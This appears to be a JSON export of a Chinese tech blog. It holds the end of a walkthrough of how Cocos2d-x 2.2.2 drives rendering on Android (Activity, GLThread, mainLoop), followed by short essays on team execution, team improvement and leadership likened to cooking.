Entering directory `/home1/tonybai/android-dev/cocos2d-x-2.2.2/samples/Cpp/HelloCpp/proj.android\u0026rsquo;\n[armeabi] Compile++ thumb: hellocpp_shared \u0026lt;= main.cpp\n[armeabi] Compile++ thumb: hellocpp_shared \u0026lt;= AppDelegate.cpp\n[armeabi] Compile++ thumb: hellocpp_shared \u0026lt;= HelloWorldScene.cpp\n[armeabi] Compile++ thumb: cocos2dx_static \u0026lt;= CCConfiguration.cpp\n[armeabi] Compile++ thumb: cocos2dx_static \u0026lt;= CCScheduler.cpp\n… …\n[armeabi] Compile++ thumb: cocos2dx_static \u0026lt;= CCTouch.cpp\n[armeabi] StaticLibrary : libcocos2d.a\n[armeabi] Compile thumb : cpufeatures \u0026lt;= cpu-features.c\n[armeabi] StaticLibrary : libcpufeatures.a\n[armeabi] SharedLibrary : libhellocpp.so\n[armeabi] Install : libhellocpp.so =\u0026gt; libs/armeabi/libhellocpp.so\nmake: Leaving directory `/home1/tonybai/android-dev/cocos2d-x-2.2.2/samples/Cpp/HelloCpp/proj.android'\n**** Build Finished ****\n指挥NDK编译的则是jni下的Android.mk文件，其角色类似于Makefile。\n三、Cocos2d-x Android工程代码阅读\n单独将如何阅读代码拿出来，是为了后面分析引擎的驱动流程做准备工作。学习类似Cocos2d-x这样的游戏引擎，仅仅停留在游戏逻辑层代码是不 能很好的把握引擎本质的，因此适当的挖掘引擎实现实际上对于理解和使用 引擎都是大有裨益的。\n以一个Cocos2d-x Android工程为例，它的游戏逻辑代码以及涉及的引擎代码涵盖在一下路径下（还是以HelloCpp的Android工程为例）：\n项目层：\n* cocos2d-x-2.2.2/samples/Cpp/HelloCpp/proj.android/src 主Activity的实现；\n* cocos2d-x-2.2.2/samples/Cpp/HelloCpp/proj.android/jni/hellocpp Cocos2dxRenderer类的nativeInit实现，用于引出Application的入口；\n* cocos2d-x-2.2.2/samples/Cpp/HelloCpp/Classes 你的游戏逻辑，以C++代码形式呈现；\n引擎层：\n* cocos2d-x-2.2.2/cocos2dx/platform/android/java/src 引擎层对Android Activity、GLSurfaceView以及Render的封装\n* cocos2d-x-2.2.2/cocos2dx/platform/android/jni 对应上面封装的native method实现\n* cocos2d-x-2.2.2/cocos2dx、cocos2d-x-2.2.2/cocos2dx/platform、cocos2d-x- 2.2.2/cocos2dx/platform/android cocos2dx引擎的核心实现(针对android平台)\n后续的代码分析也将从这两个层次、六处位置出发。\n四、从Activity开始\n之前多少了解了一些Android App开发的知识，Android App都是始于Activity的。游戏也是App的一种，因此在Android平台上，Cocos2d-x游戏也是从Activity开始的。于是 Activity，确切的说是Cocos2dxActivity是我们这次引擎驱动机制分析的出发点。\n回顾Android Activity的Lifecycle，Activity启动的顺序是：Activity.onCreate -\u0026gt; Activity.onStart() -\u0026gt; Activity.onResume()。接下来我们将按照 这条主线进行引擎驱动机制的分析。\nHelloCpp.java中的HelloCpp这个Activity完全无所作为，仅仅是继承其父类Cocos2dxActivity的实现罢 了。\n// HelloCpp.java\npublic class HelloCpp extends Cocos2dxActivity{\nprotected void onCreate(Bundle savedInstanceState){\nsuper.onCreate(savedInstanceState);\n}\n… …\n}\n我们来看Cocos2dxActivity类。\n// Cocos2dxActivity.java\n@Override\nprotected void onCreate(final Bundle savedInstanceState) {\nsuper.onCreate(savedInstanceState);\nsContext = this;\nthis.mHandler = new Cocos2dxHandler(this);\nthis.init();\nCocos2dxHelper.init(this, this);\n}\npublic void init() {\n// FrameLayout\nViewGroup.LayoutParams framelayout_params =\nnew ViewGroup.LayoutParams(ViewGroup.LayoutParams.FILL_PARENT,\nViewGroup.LayoutParams.FILL_PARENT);\nFrameLayout framelayout = new FrameLayout(this);\nframelayout.setLayoutParams(framelayout_params);\n… …\n// Cocos2dxGLSurfaceView\nthis.mGLSurfaceView = this.onCreateView();\n// …add to FrameLayout\nframelayout.addView(this.mGLSurfaceView);\n… …\nthis.mGLSurfaceView.setCocos2dxRenderer(new Cocos2dxRenderer());\n… …\n// Set framelayout as the content view\nsetContentView(framelayout);\n}\n从上面代码可以看出，onCreate调用的init方法才是Cocos2dxActivity初始化的核心。在init方法 中，Cocos2dxActivity创建了一个Framelayout实例，并将该实例作为content View赋给了Cocos2dxActivity的实例。Framelayout实例也并不孤单，一个设置了Cocos2dxRenderer实例的 GLSurfaceView被Added to it。而Cocos2d-x引擎的初始化已经悄悄地在这几行代码间完成了，至于初始化的细节我们后续再做分析。\n接下来是onResume方法，它的实现如下：\n@Override\nprotected void onResume() {\nsuper.onResume();\nCocos2dxHelper.onResume();\nthis.mGLSurfaceView.onResume();\n}\nonResume调用了View的onResume()。\n// Cocos2dxGLSurfaceView：\n@Override\npublic void onResume() {\nsuper.onResume();\nthis.queueEvent(new Runnable() {\n@Override\npublic void run() {\nCocos2dxGLSurfaceView.this.mCocos2dxRenderer.handleOnResume();\n}\n});\n}\nCocos2dxGLSurfaceView将该事件打包放到队列里，扔给了另外一个线程去执行（后续会详细说明这个线程），对应的方法在 Cocos2dxRenderer class中。\npublic void handleOnResume() {\nCocos2dxRenderer.nativeOnResume();\n}\nRender实际上调用的是native方法。\nJNIEXPORT void JNICALL Java_org_cocos2dx_lib_Cocos2dxRenderer_nativeOnResume() {\nif (CCDirector::sharedDirector()-\u0026gt;getOpenGLView()) {\nCCApplication::sharedApplication()-\u0026gt;applicationWillEnterForeground();\n}\n}\napplicationWillEnterForeground方法在你的AppDelegate.cpp中；\nvoid AppDelegate::applicationWillEnterForeground() {\nCCDirector::sharedDirector()-\u0026gt;startAnimation();//\n// if you use SimpleAudioEngine, it must resume here\n// SimpleAudioEngine::sharedEngine()-\u0026gt;resumeBackgroundMusic();\n}\n这里仅是重新获得了一下时间罢了。\n五、Render Thread(渲染线程) - GLThread\n游戏引擎要兼顾UI事件和屏幕帧刷新。Android的OpenGL应用采用了UI线程(Main Thread) + 渲染线程(Render Thread)的模式。Activity活在Main Thread(主线程)中，也叫做UI线程。该线程负责捕获与用户交互的信息和事件，并与渲染(Render)线程交互。比如当用户接听电话、切换到其他 程序时，渲染线程必须知道发生了 这些事件，并作出即时的处理，而这些事件及处理方式都是由主线程中的Activity以及其装载的View传递给渲染线程的。我们在Cocos2dx的框 架代码中看不到渲染线程的诞生过程，这是因为这一过程是在Android SDK层实现的。\n我们回顾一下Cocos2dxActivity.init方法的关键代码：\n// Cocos2dxGLSurfaceView\nthis.mGLSurfaceView = this.onCreateView();\n// …add to FrameLayout\nframelayout.addView(this.mGLSurfaceView);\nthis.mGLSurfaceView.setCocos2dxRenderer(new Cocos2dxRenderer());\n// Set framelayout as the content view\nsetContentView(framelayout);\nCocos2dxGLSurfaceView是 android.opengl.GLSurfaceView的子类。在android 上做原生opengl es 2.0编程的人应该都清楚GLSurfaceView的重要性。但渲染线程并非是在Cocos2dxGLSurfaceView实例化时被创建的，而是在 setRenderer的时候。\n我们来看Cocos2dxGLSurfaceView.setCocos2dxRenderer的实现：\npublic void setCocos2dxRenderer(final Cocos2dxRenderer renderer) {\nthis.mCocos2dxRenderer = renderer;\nthis.setRenderer(this.mCocos2dxRenderer);\n}\nsetRender是Cocos2dxGLSurfaceView父类GLSurfaceView实现的方法。在Android SDK GLSurfaceView.java文件中，我们看到：\npublic void setRenderer(Renderer renderer) {\ncheckRenderThreadState();\nif (mEGLConfigChooser == null) {\nmEGLConfigChooser = new SimpleEGLConfigChooser(true);\n}\nif (mEGLContextFactory == null) {\nmEGLContextFactory = new DefaultContextFactory();\n}\nif (mEGLWindowSurfaceFactory == null) {\nmEGLWindowSurfaceFactory = new DefaultWindowSurfaceFactory();\n}\nmRenderer = renderer;\nmGLThread = new GLThread(mThisWeakRef);\nmGLThread.start();\n}\nGLThread的实例是在这里被创建并开始执行的。至于渲染线程都干了些什么，我们可以通过其run方法看到：\n@Override\npublic void run() {\nsetName(\u0026ldquo;GLThread \u0026quot; + getId());\nif (LOG_THREADS) {\nLog.i(\u0026ldquo;GLThread\u0026rdquo;, \u0026ldquo;starting tid=\u0026rdquo; + getId());\n}\ntry {\nguardedRun();\n} catch (InterruptedException e) {\n// fall thru and exit normally\n} finally {\nsGLThreadManager.threadExiting(this);\n}\n}\nrun方法并没有给我们带来太多有价值的东西，真正有价值的信息藏在guardedRun方法中。guardedRun是这个源文件中规模最为庞 大的方法，但抽取其核心结构后，我们发现它大致就是一个死循环，以下是摘要式的伪代码：\nwhile (true) {\nsynchronized (sGLThreadManager) {\nwhile (true) {\n…. …\nif (! mEventQueue.isEmpty()) {\nevent = mEventQueue.remove(0);\nbreak;\n}\n} }//end of synchronized (sGLThreadManager)\nif (event != null) {\nevent.run();\nevent = null;\ncontinue;\n}\nif needed\nview.mRenderer.onSurfaceCreated(gl, mEglHelper.mEglConfig);\nif needed\nview.mRenderer.onSurfaceChanged(gl, w, h);\nif needed\nview.mRenderer.onDrawFrame(gl);\n}\n在这里我们看到了event、Renderer的三个回调方法onSurfaceCreated、onSurfaceChanged以及 onDrawFrame，后续我们会对这三个函数做详细分析的。\n六、游戏逻辑的入口\n在HelloCpp的Classes下有好多C++代码文件（涉及具体的游戏逻辑），在HelloCpp的android project jni目录下也有Jni胶水代码，那么这些代码是如何和引擎一起互动生效的呢？\n上面讲到过，涉及到画面的一些渲染都是在GLThread中进行的，这涉及到onSurfaceCreated、 onSurfaceChanged以及onDrawFrame三个方法。我们看看 Cocos2dxRenderer.onSurfaceCreated方法的实现，该方法会在Surface被首次渲染时调用：\npublic void onSurfaceCreated(final GL10 pGL10, final EGLConfig pEGLConfig) {\nCocos2dxRenderer.nativeInit(this.mScreenWidth, this.mScreenHeight);\nthis.mLastTickInNanoSeconds = System.nanoTime();\n}\n该方法继续调用HelloCpp工程jni目录下的nativeInit代码:\nvoid Java_org_cocos2dx_lib_Cocos2dxRenderer_nativeInit(JNIEnv* env, jobject thiz, jint w, jint h)\n{\nif (!CCDirector::sharedDirector()-\u0026gt;getOpenGLView())\n{\nCCEGLView *view = CCEGLView::sharedOpenGLView();\nview-\u0026gt;setFrameSize(w, h);\nAppDelegate *pAppDelegate = new AppDelegate();\nCCApplication::sharedApplication()-\u0026gt;run();\n}\nelse\n{\nccGLInvalidateStateCache();\nCCShaderCache::sharedShaderCache()-\u0026gt;reloadDefaultShaders();\nccDrawInit();\nCCTextureCache::reloadAllTextures();\nCCNotificationCenter::sharedNotificationCenter()-\u0026gt;postNotification(EVENT_COME_TO_FOREGROUND, NULL);\nCCDirector::sharedDirector()-\u0026gt;setGLDefaultValues();\n}\n}\n这似乎让我们看到了游戏逻辑的入口了：\nCCEGLView *view = CCEGLView::sharedOpenGLView();\nview-\u0026gt;setFrameSize(w, h);\nAppDelegate *pAppDelegate = new AppDelegate();\nCCApplication::sharedApplication()-\u0026gt;run();\n继续追踪CCApplication::run方法：\nint CCApplication::run()\n{\n// Initialize instance and cocos2d.\nif (! applicationDidFinishLaunching())\n{\nreturn 0;\n}\nreturn -1;\n}\napplicationDidFinishLaunching，没错这就是游戏逻辑的入口了。我们得回到Samples代码目录中去找到对应方法 的实现。\n//cocos2d-x-2.2.2/samples/Cpp/HelloCpp/Classes/AppDelegate.cpp\nbool AppDelegate::applicationDidFinishLaunching() {\n// initialize director\nCCDirector* pDirector = CCDirector::sharedDirector();\nCCEGLView* pEGLView = CCEGLView::sharedOpenGLView();\npDirector-\u0026gt;setOpenGLView(pEGLView);\nCCSize frameSize = pEGLView-\u0026gt;getFrameSize();\n… …\n// turn on display FPS\npDirector-\u0026gt;setDisplayStats(true);\n// set FPS. the default value is 1.0/60 if you don\u0026rsquo;t call this\npDirector-\u0026gt;setAnimationInterval(1.0 / 60);\n// create a scene. it\u0026rsquo;s an autorelease object\nCCScene *pScene = HelloWorld::scene();\n// run\npDirector-\u0026gt;runWithScene(pScene);\nreturn true;\n}\n的确，在applicationDidFinishLaunching中我们做了很多引擎参 数的设置。接下来大管家CCDirector实例登场，并运行了HelloWorld Scene的实例。但这依旧是初始化的一部分，虽然方法名让人听起来像是某种持续连贯行为：\n//cocos2d-x-2.2.2/cocos2dx/CCDirector.cpp\nvoid CCDirector::runWithScene(CCScene *pScene)\n{\n… …\npushScene(pScene);\nstartAnimation();\n}\nvoid CCDisplayLinkDirector::startAnimation(void)\n{\nif (CCTime::gettimeofdayCocos2d(m_pLastUpdate, NULL) != 0)\n{\nCCLOG(\u0026ldquo;cocos2d: DisplayLinkDirector: Error on gettimeofday\u0026rdquo;);\n}\nm_bInvalid = false;\n}\n两个方法均只是初始化了某些数据成员变量，并未真正将引擎驱动起来。\n七、驱动引擎\n之所以游戏画面是运动的，那是因为屏幕以较高的帧数刷新的缘故，这样人眼就会看到连续的动作，就和电影的放映原理是一样的。在Cocos2d-x 引擎中这些驱动屏幕刷新的代码在哪里呢？\n我们回顾一下之前谈到的GLThread线程，我们说过画面渲染的工作都是由它来完成的。GLThread的核心是guardedRun函数，该 函数以“死循环”的方式调用Cocos2dxRender.onDrawFrame方法对画面进行持续渲染。\n我们来看看引擎实现的Cocos2dxRender.onDrawFrame方法：\npublic void onDrawFrame(final GL10 gl) {\n/*\n* FPS controlling algorithm is not accurate, and it will slow down FPS\n* on some devices. So comment FPS controlling code.\n*/\n/*\nfinal long nowInNanoSeconds = System.nanoTime();\nfinal long interval = nowInNanoSeconds – this.mLastTickInNanoSeconds;\n*/\n// should render a frame when onDrawFrame() is called or there is a\n// \u0026ldquo;ghost\u0026rdquo;\nCocos2dxRenderer.nativeRender();\n/*\n// fps controlling\nif (interval \u0026lt; Cocos2dxRenderer.sAnimationInterval) {\ntry {\n// because we render it before, so we should sleep twice time interval\nThread.sleep((Cocos2dxRenderer.sAnimationInterval – interval) / Cocos2dxRenderer.NANOSECONDSPERMICROSECOND);\n} catch (final Exception e) {\n}\n}\nthis.mLastTickInNanoSeconds = nowInNanoSeconds;\n*/\n}\n这个方法实现得比较奇怪，似乎修改过多次，但最后还是决定只保留了一个方法调用： Cocos2dxRenderer.nativeRender()。从注释掉的代码来看，似乎是想在这个方法中通过Thread.sleep来控制 Render Thread渲染的帧率。但由于控制的不理想，索性就不控制了，让guardedRun真正变成了dead loop。但从HelloCpp Sample运行时的状态显示，画面始终保持在60帧左右，让人十分诧异。据说Cocos2d-x 3.0版本重新设计了渲染这块的机制。(后记：在Android上虽然没有帧数控制，但真正的渲染帧率实际上还受到\u0026quot;垂直同步\u0026quot;信号 – vertical sync的影响。在游戏中，也许强劲的显卡迅速的绘制完一屏的图像，但是没有垂直同步信号的到达，显卡无法绘制下一屏，只有等vsync信号到达，才可以绘制。这样fps实际上要要受到操作系统刷新率值的制约）。\nnativeRender从命名来看，这显然是一个C++编写的函数实现。我们只能到jni目录下寻找。\ncocos2d-x-2.2.2/cocos2dx/platform/android/jni/ Java_org_cocos2dx_lib_Cocos2dxRenderer.cpp\nJNIEXPORT void JNICALL Java_org_cocos2dx_lib_Cocos2dxRenderer_nativeRender(JNIEnv* env) {\ncocos2d::CCDirector::sharedDirector()-\u0026gt;mainLoop();\n}\nnativeRender也很简洁，直接调用了CCDirector的mainLoop，也就是说每帧渲染过程中真正干活地是 CCDirector::mainLoop。到此我们终于找到了引擎渲染的驱动器：GLThead::guardedRun，以“死循环”的方式刷新着画面，让我们感受到“动”的魅力。\n八、mainLoop\n进一步我们来看看mainLoop所做的工作。mainLoop是CCDirector类的一个纯虚函数，CCDirector的子类CCDisplayLinkDirector真正实现了 它：\n//CCDirector.cpp\nvoid CCDisplayLinkDirector::mainLoop(void)\n{\nif (m_bPurgeDirecotorInNextLoop)\n{\nm_bPurgeDirecotorInNextLoop = false;\npurgeDirector();\n}\nelse if (! m_bInvalid)\n{\ndrawScene();\n// release the objects\nCCPoolManager::sharedPoolManager()-\u0026gt;pop();\n}\n}\nvoid CCDirector::drawScene(void)\n{\n// calculate \u0026ldquo;global\u0026rdquo; dt\ncalculateDeltaTime();\n//tick before glClear: issue #533\nif (! m_bPaused)\n{\nm_pScheduler-\u0026gt;update(m_fDeltaTime);\n}\nglClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);\n/* to avoid flickr, nextScene MUST be here: after tick and before draw.\nXXX: Which bug is this one. It seems that it can\u0026rsquo;t be reproduced with v0.9 */\nif (m_pNextScene)\n{\nsetNextScene();\n}\nkmGLPushMatrix();\n// draw the scene\nif (m_pRunningScene)\n{\nm_pRunningScene-\u0026gt;visit();\n}\n// draw the notifications node\nif (m_pNotificationNode)\n{\nm_pNotificationNode-\u0026gt;visit();\n}\nif (m_bDisplayStats)\n{\nshowStats();\n}\nkmGLPopMatrix();\nm_uTotalFrames++;\n// swap buffers\nif (m_pobOpenGLView)\n{\nm_pobOpenGLView-\u0026gt;swapBuffers();\n}\nif (m_bDisplayStats)\n{\ncalculateMPF();\n}\n}\n帧渲染由mainLoop调用的drawScene()完成，drawScene方法根据Scene下的渲染树，根据node的最新属性逐个渲染 node，并调整各个Node的调度定时器数据，细节这里就不详细说明了。\n九、UI线程与GLThread的交互\n用户的屏幕触控动作由UI线程捕捉到，该类事件需要传递给引擎，并由GLThread根据各个画面元素的最新状态重新绘制画面。UI线程负责处理用户交互 事件，并将特定的事件通知GLThread处理。UI线程通过Cocos2dxGLSurfaceView的queueEvent方法，将事件以及处理方 法传递给GLThread执行的。\nCocos2dxGLSurfaceView的queueEvent方法继承自其父类GLSurfaceView：\npublic void queueEvent(Runnable r) {\nmGLThread.queueEvent(r);\n}\n而GLThread的queueEvent方法实现如下：\npublic void queueEvent(Runnable r) {\nif (r == null) {\nthrow new IllegalArgumentException(\u0026ldquo;r must not be null\u0026rdquo;);\n} synchronized(sGLThreadManager) {\nmEventQueue.add(r);\nsGLThreadManager.notifyAll();\n} }\n该方法将event互斥地放入EventQueue，并通知阻塞在Queue上的线程取货。\n运行着的GLThread实例在guardedRun中会从event队列中取出runnable event并run的。\nwhile (true) {\nsynchronized (sGLThreadManager) {\nwhile (true) {\nif (mShouldExit) {\nreturn;\n}\nif (! mEventQueue.isEmpty()) {\nevent = mEventQueue.remove(0);\nbreak;\n} …….\n} }\n… …\nif (event != null) {\nevent.run();\nevent = null;\ncontinue;\n} …\n}\nActivity的各种事件Pause、Resume、Stop以及View的各种屏幕触控事件都是通过queueEvent传递给GLThread执行的，比如：View的onKeyDown方法：\n//Cocos2dxGLSurfaceView.java\n@Override\npublic boolean onKeyDown(final int pKeyCode, final KeyEvent pKeyEvent) {\nswitch (pKeyCode) {\ncase KeyEvent.KEYCODE_BACK:\ncase KeyEvent.KEYCODE_MENU:\nthis.queueEvent(new Runnable() {\n@Override\npublic void run() {\nCocos2dxGLSurfaceView.this.mCocos2dxRenderer.handleKeyDown(pKeyCode);\n}\n});\nreturn true;\ndefault:\nreturn super.onKeyDown(pKeyCode, pKeyEvent);\n}\n}\n十、小结\n有了以上的对Cocos2d-x引擎的理解后，再编写游戏代码就更加游刃有余了，至少出现问题时，我们知道应该在哪里查找了。就像对汽车的发动机了如指掌 后，一旦发生动力故障，我们基本知道排除的方法。但对发动机了解的再透彻，也不能代表就能设计和生产出好车，游戏也是这样，对引擎了解是一码事，设计和实 现出好游戏是另外一码事。学习引擎只是编写游戏的起点而已。\n","permalink":"https://tonybai.com/2014/03/11/hello-cocos2dx/","summary":"\u003cp\u003e女儿从两岁半开始接触iPad，在这个年龄段也只有一些幼教类游戏适合她玩。虽然知道iPad玩久了对视力有伤害，但有时候还真拗不过果果，索性 也就让她玩一会儿。之前对智能终端上的东西不是很在意，也没啥兴趣，这大概与当年在大学时做Win32 GUI开发的糟糕经历多多少少有点关系。不过智能终端是大势所趋，历史的潮流不能违抗。虽然自己并非以\u003ca href=\"http://tonybai.com/2011/05/24/develop-android-app-in-command-line-method/\"\u003eAndroid\u003c/a\u003e/iOS编程为主业，但适当学习学习 总归没有坏处，万一作出一个像\u0026quot;Flappy Bird\u0026quot;的游戏，爆发一下，还是蛮Happy的。于是在开始学习实践之前给自己定了一个小目标：今年六一儿童节送给女儿一款自己制作的小游戏。\u003c/p\u003e","title":"Hello, Cocos2d-x"},{"content":"You are never to dictate what I can and can not do. The only two words I want to hear from you when I ask you to do something are \u0026ldquo;Yes\u0026rdquo; and \u0026ldquo;Sir\u0026rdquo;。（我能做什么不能做什么，你管不着。我吩咐你做事的时候，只想听到两个词，\u0026ldquo;是的\u0026quot;和\u0026quot;先生\u0026rdquo;。）\n– 《纸牌屋》第一季\n想必大家都基本认同：最有执行力的团队莫过于军队。军队有纪律约束，有荣誉感引导。在战时，违抗命令者是可以被直接拉出去枪毙的（影视剧中^_^）。但在 现实中你的团队里，你行么？别说枪毙，说了一句刺耳的批评的话，都可能招来各种不合作。大多数工作并非金饭碗，Google , FB的员工还经常跳来跳去呢，“此处不留爷，自有留爷处”才是硬道理。\n那我们靠什么保证团队执行力呢？\n靠NB人士？也许可行。但看看你的荷包，金子够么？NB人士属于金字塔顶端，数量稀少，价格昂贵，且多聚集在国内外知名名企。对于普通企业来说，操作起来有极大困难。\n大把金钱奖励？我们不是土豪，没有挥金如土的气魄，钱不是不可以给，但要用在刀刃上。\n精神鼓励？可以用，但不能一直用，否则下面就要说你是“精神病”了。\n回归本源，执行力是建立在员工的职业操守上的。在这样一个前提下，我们至少要做好三件事来保证执行力。\n1、明确责任\n让员工确定、一定以及肯定的明确这件事/这些事的责任人就是他/她。做好了获奖，做少了、做错了、做砸了，他就是“罪魁祸首”。\n2、设立检查点\n为了帮助员工工作在正确的方向上，不走偏，不做错，不漏做，我们要帮助员工建立好检查点，明确告知检查点所有内容。在检查点上有针对性的检查也是员工的责任之一。\n3、频繁反馈\n团队负责人应该像老妈子似的不断的催促和获取反馈，以即时把握执行力的真实情况。\n锡恩的4R执行力理论还强调了一个“即时奖励”，强化任务执行与后果之间的关系，让员工第一时间感受到良好执行带来的成果，获得成就感和认同。\n接下来就要将以上三件事耐心的变成制度、变成流程，耐心地让员工按流程要求工作而不是按负责人的指令行事。\n最后将以上流程自动化。通过系统分配任务，通过任务单将任务相关的信息整合在一起，为执行者提供帮助。通过这样的一个系统排除管理者的人肉提醒、减少在以 上环节中的人为疏漏（比如缺少检查点，忘记反馈），尽可能排除人的惰性、忘性等带来的种种执行问题。通过系统为任务执行作出评价，可作为员工绩效的参考。\n通过以上的措施，还可以很好的应对“熟人文化”：不是按某人的指令，而是“制度规程”去做事，按照执行力系统的分配、提醒和通知去执行、去反馈。\n这样一来，管理者也可以从繁重的“人肉管理”中脱离出来，既可以通过系统众览全局进度，保证任务的按时正确执行，也可以将精力更多的倾注在其他重要方面的工作中。\n","permalink":"https://tonybai.com/2014/03/05/thought-on-executive-power/","summary":"\u003cp\u003e\u003cem\u003eYou are never to dictate what I can and can not do. The only two words I want to hear from you when I ask you to do something are \u0026ldquo;Yes\u0026rdquo; and \u0026ldquo;Sir\u0026rdquo;。（我能做什么不能做什么，你管不着。我吩咐你做事的时候，只想听到两个词，\u0026ldquo;是的\u0026quot;和\u0026quot;先生\u0026rdquo;。）\u003cbr\u003e\n                                                                                   – 《纸牌屋》第一季\u003c/em\u003e\u003c/p\u003e","title":"说说执行力"},{"content":"一个人的品行，不取决于这人如何享受胜利，而在于这人如何忍受失败。\n— 《纸牌屋》第一季\n团队改善，不是那种很快见到成果或者效益的活儿。\n但这件事你做不做呢？坦诚的说，今年我在这方面的“热情”真的不是那么高，肯定是不如前两年了，因为是时候更多地为自己的“前途”考虑考虑了。团队改善这 种活儿做好了还行，做坏了，那就成为“把柄”，成为劣迹。投入了资源，却不见成果。因为领导层可能从来都没有让你去做什么改变，也不关心你要做什么改变。 只要把领导认为要做的事情做好即可。做团队改善这事儿，纯属自己给自己加的“私活儿”：长路漫漫，遍地荆棘，费力还不一定讨好。\n但身在其位，团队没有任何改善或进步不是我的风格，因此2014年，这事儿还要继续做，并且更难做。用现在一个时髦的词来形容，好比进入了“深水区”。\n改善的初衷是总是好的，但在实际操作中也有可能带来负面的影响，比如因流程变化或工具切换导致的一时的效率下降。人都是不习惯于变化的，并且改变可能会触 动某些人的利益，因此阻力可想而知。从全局来看，这又是必须去做的事情。总之改善的道路坎坷，顶住压力是必须的。有些时候压力更多是来自于上面。当领导问 如果失败了谁负责，这时你应该毫不犹豫的说：我负责。没有别的选择，这就是改变带来的代价，”我不入地狱谁入地狱呢“。\n我理想中的团队应该是一部精密的机器，开机后不用管的，自运行的，并生产出正确让人满意的成果。我的目标就是搭建出这样一部机器，在生产过程中尽量降低人 的因素的影响：比如惰性、忘性、马虎、态度不端正等对成果物质量的影响。我们还要在“关键环节”加入“自动”地检查，就像传统工厂的质检环节那样，这些 “检查”环节让低质量的成果无法通过。通过这些环节，你还可以全盘掌握产品的生产和质量情况。\n而我就是幕后的那个“导演”。我发现自己越来越喜欢“导演”这一角色了。策划着这一切，看到一切都按照你的思路一步一步的进行下去的。导演决定了是否能拍出好片子，即便演员不一定都是大腕儿。\n有同事建议我能针对一些改善措施和想法做些宣讲。我回绝了。因为大家都是那种喜欢看到结果的，在结果未出来之前，还是多做少说。这样也可以避免外界干扰你 的做事思路。另外没有两个团队面对的情况是一模一样的，也就没有一致的改善的方法，有些事情不能代劳。自己发现的问题才真实，才接地气。\n坚持你认为正确的事情，坚定的做下去就是了，其他的都抛到脑后。\n","permalink":"https://tonybai.com/2014/03/03/considerations-on-team-improved-in-2014/","summary":"\u003cp\u003e\u003cem\u003e一个人的品行，不取决于这人如何享受胜利，而在于这人如何忍受失败。\u003cbr\u003e\n                                                                       — 《纸牌屋》第一季\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e团队改善，不是那种很快见到成果或者效益的活儿。\u003c/p\u003e\n\u003cp\u003e但这件事你做不做呢？坦诚的说，今年我在这方面的“热情”真的不是那么高，肯定是不如前两年了，因为是时候更多地为自己的“前途”考虑考虑了。团队改善这 种活儿做好了还行，做坏了，那就成为“把柄”，成为劣迹。投入了资源，却不见成果。因为领导层可能从来都没有让你去做什么改变，也不关心你要做什么改变。 只要把领导认为要做的事情做好即可。做团队改善这事儿，纯属自己给自己加的“私活儿”：长路漫漫，遍地荆棘，费力还不一定讨好。\u003c/p\u003e","title":"关于2014团队改善的考量"},{"content":"生活中永远不缺少大道理，缺的是一颗善于思考和发现它们的心。\n– Tony Bai\n晚上回到家，家人端上来热腾腾的饭菜。吃了几口，感觉味道较为普通。盘子里那些被加工过的食材是昨天刚刚买到的，又好又新鲜。顿然一种可惜的赶脚油然而 生。为什么这么上好新鲜的食材经过家人的烹制就变得这么普通了呢，仅仅是变成了充饥之用。而这些食材在大厨手下却能妙笔生花，做出让人流连忘返的精美菜 肴。我不是很懂厨艺，但总觉的大厨烹制菜肴的过程与领导团队做一个项目或开发一款产品有着相似的内涵。小小厨房中蕴含着某些大道理，值得我在这里深思一番。\n* 角色定义\n既然将大厨烹制菜肴比作领导团队做事，那么我们先来熟悉一下厨房里的各个角色：\n厨房 – 工作间\n厨子 – Leader\n食材、调料 – 团队成员\n厨房用品 – 基础设施\n食客 – 使用者，客户\n营养、口感、档次 – 主要Feature\n味道 – 用户体验\n任务目标 – 制作一道色香味俱佳的菜肴。\n* 好厨善选材\n选材是作出上好菜肴的关键。好厨都是善选材的，就好比好领导知道应该选择什么样的组员加入团队。\n主食材（团队主力）决定菜肴的基本品质，比如：档次、外观、营养、口味等。\n选择食材要主次分明，相辅相成。有红花争艳，也要有绿叶陪衬，否则烧成的菜品就会内斗严重，主次不明，类别不清，让人迷惑。\n选择食材切忌相声相克。一旦这样，很可能会彻底毁掉这道菜。即便做成，也可能给食客带来损害。\n调料，好比美工、前端设计师，专攻用户体验。虽然主食材实现了菜肴的核心营养和口感（核心Feature），但如果没有调料的作用，就缺少了味道这一决定性的用户体验。没有好的用户体验，结果一样是失败，至少产品或结果算不上一流。\n* 火候儿甚重要\n大厨的另外一个特长就是对烹饪过程中火候的把握极其到位。对于不同菜肴，不同食材，大厨会选择不同的火候烹制，让食材保持最佳状态，适当吸收汤汁味道。用 错了火候，将是灾难性的。本该用文火慢炖入味的，却用了旺火，结果食不入味，对食客来说毫无吸引力；本来用旺火快速炒制的，却用了文武火，导致菜肴制作时 间较长，营养成分流失。滥用火候甚至可能将食材烧焦烧糊，使得菜肴制作彻底失败。\n这就好比团队Leader对团队工作节奏、进度以及压力的控制，要让团队成员在适宜的环境下发挥出最大的潜力、进行最高效的工作。过大的压力，过紧的进度都可能会压跨团队，无法达成团队目标。\n* 装备，装备，事半功倍！\n厨子烹制佳肴离不开厨房用具，虽说厨房用具的好坏对于菜肴的最终烹制结果不起决定性的作用，但精良全面的厨房用具会使得大厨烹制菜肴的过程事半功倍。\n从古至今均有美酒佳肴，但非要论一下到底什么时候的菜更好吃，相信没人能给出结论，也许古代人做的菜更好吃也不一定。但能够确定的是现代大厨所使用的厨具 肯定要比古代人更加齐全和精良，这使得现代人可以快速制作出大量精美的菜肴，可以在一定程度上缩短了菜肴制作的周期。通过这些现代化的厨具，可以更加精确 量化菜肴的营养成分，也可以将菜肴的制作工序程式化，以供复用。\n另外不同的厨师团队使用的装备各有不同，无所谓新老，找到最适宜的才是最好。\n* 厨房里的创新\n中华饮食文化源远流长，创新菜品层出不穷。从厨师的角度来看，这些创新无非是创新的食材、创新的调料以及创新的烹制方法。映射的团队管理来看，领导者应善于引进创新的人才，并敢于进行组织、管理以及过程方法创新，这样才能有创新的产品、创新的文化和氛围。\n","permalink":"https://tonybai.com/2014/02/18/mentoring-in-the-kitchen/","summary":"\u003cp\u003e\u003cem\u003e生活中永远不缺少大道理，缺的是一颗善于思考和发现它们的心。\u003cbr\u003e\n                                                                        – Tony 